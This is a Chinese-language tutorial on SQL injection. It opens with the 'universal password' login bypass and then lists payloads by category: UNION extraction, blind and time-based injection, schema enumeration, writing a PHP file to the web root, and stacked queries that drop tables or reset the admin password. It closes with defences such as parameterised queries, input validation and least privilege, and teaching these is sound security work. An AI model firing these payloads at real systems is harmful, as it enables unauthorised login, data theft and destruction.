SQL注入——万能密码
字数 894 2025-08-29 08:30:18
SQL注入攻击与防御全面指南
一、SQL注入基本原理
SQL注入是一种通过在用户输入中插入恶意SQL代码来操纵数据库查询的攻击技术。当应用程序未对用户输入进行充分验证和过滤时,攻击者可以改变原始SQL查询的逻辑。
典型登录场景分析
原始SQL查询:
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
万能密码攻击原理
-
注释密码校验条件:
- 输入用户名:
admin' -- - 输入密码:任意值(如123456)
- 生成SQL:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456'; --注释掉后续条件,只验证用户名
- 输入用户名:
-
利用逻辑优先级:
- 输入用户名:
AAA' OR 1=1 OR '1'='1' - 输入密码:BBB
- 生成SQL:
SELECT * FROM admin WHERE Username='AAA' OR 1=1 OR '1'='1' AND Password='BBB'; - 逻辑运算优先级:NOT > AND > OR
- 1=1恒为真,使整个条件为真
- 输入用户名:
二、SQL注入技术分类
1. 基础注入技术
' or 1=1 --
' or '1'='1
' or 1=1 #
' or 1=1/*
' or ''='
' or 'a'='a
admin' --
admin' or '1'='1' --
2. 联合查询注入
' union select null, null, null --
' union select 1, 'admin', 'password' --
' union all select null, null, null --
' union select * from users --
应用示例:
SELECT * FROM users WHERE username = '' union select 1, 'admin', 'password' --' AND password = '123456';
3. 注释符注入
' or 1=1 --
' or 1=1 #
' or 1=1/*
admin' --
admin' #
4. 时间延迟注入
' or SLEEP(5) --
' or BENCHMARK(1000000,MD5('test')) --
' or IF(1=1, SLEEP(5), 0) --
5. 错误注入
' or 1=CONVERT(int, (select @@version)) --
' or 1=CAST((select @@version) AS int) --
6. 文件操作注入
' or 1=1 INTO OUTFILE '/var/www/html/test.php' --
' or 1=1 INTO DUMPFILE '/var/www/html/test.php' --
7. 数据库信息泄露
' or 1=1 UNION SELECT null, database(), null --
' or 1=1 UNION SELECT null, user(), null --
' or 1=1 UNION SELECT null, @@version, null --
8. 表名和列名枚举
' or 1=1 UNION SELECT null, table_name, null FROM information_schema.tables --
' or 1=1 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --
9. 条件注入
' or IF(1=1, SLEEP(5), 0) --
' or CASE WHEN 1=1 THEN SLEEP(5) ELSE 0 END --
10. 堆叠查询注入
'; DROP TABLE users; --
'; UPDATE users SET password='hacked' WHERE username='admin'; --
'; INSERT INTO users (username, password) VALUES ('hacker', 'password'); --
11. 布尔盲注
' or 1=1 AND '1'='1
' or 1=1 AND '1'='2
' or (SELECT COUNT(*) FROM users) > 0 --
12. 报错注入
' or 1=CONVERT(int, (select @@version)) --
' or 1=CAST((select @@version) AS int) --
13. 绕过过滤技术
' or 1=1 --
' or 1=1 #
' or 1=1/*
' or 1=1; --
' or 1=1 UNION SELECT null, null, null --
14. 多语句注入
'; DROP TABLE users; --
'; UPDATE users SET password='hacked' WHERE username='admin'; --
'; INSERT INTO users (username, password) VALUES ('hacker', 'password'); --
15. 其他变种
' or 1=1 LIMIT 1 --
' or 1=1 ORDER BY 1 --
' or 1=1 GROUP BY 1 --
' or 1=1 HAVING 1=1 --
三、SQL注入防御措施
1. 参数化查询/预编译语句
Python + SQLite示例:
import sqlite3
conn = sqlite3.connect('example.db')
cursor = conn.cursor()
username = input("请输入用户名: ")
password = input("请输入密码: ")
query = "SELECT * FROM users WHERE username =? AND password =?"
cursor.execute(query, (username, password))
Java + MySQL示例:
PreparedStatement preparedStatement = connection.prepareStatement(
"SELECT * FROM users WHERE username =? AND password =?");
preparedStatement.setString(1, username);
preparedStatement.setString(2, password);
ResultSet resultSet = preparedStatement.executeQuery();
2. 输入验证和过滤
Python示例:
import re
def validate_input(input_str):
pattern = re.compile(r'^[a-zA-Z0-9_]+$')
return bool(pattern.match(input_str))
Node.js示例:
const isValidUsername = /^[a-zA-Z0-9]+$/.test(username);
const isValidPassword = /^[a-zA-Z0-9]+$/.test(password);
3. 最小权限原则
CREATE USER 'limited_user'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON your_database.users TO 'limited_user'@'localhost';
FLUSH PRIVILEGES;
4. 错误处理
Python示例:
try:
# 数据库操作
except sqlite3.Error as e:
print("发生数据库错误,请稍后再试")
finally:
if conn:
conn.close()
5. 使用ORM框架
Python + SQLAlchemy示例:
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
engine = create_engine('sqlite:///example.db')
Session = sessionmaker(bind=engine)
session = Session()
user = session.query(User).filter_by(username=username, password=password).first()
四、注释符使用注意事项
-
GET请求中的注释问题:
#在URL中会被浏览器忽略,需使用%23--需要空格,可使用--+或--%20
-
POST请求中的注释:
- 可直接使用
#或--(需加空格)
- 可直接使用
-
通用规则:
- 优先使用
--(加空格) - MySQL中
#和--都可用
- 优先使用
五、总结
SQL注入攻击形式多样,从简单的万能密码到复杂的堆叠查询和时间盲注。防御措施应以参数化查询为核心,辅以输入验证、最小权限和错误处理。ORM框架能有效减少手写SQL带来的风险。开发人员应充分了解各种注入技术,才能构建安全的数据库应用。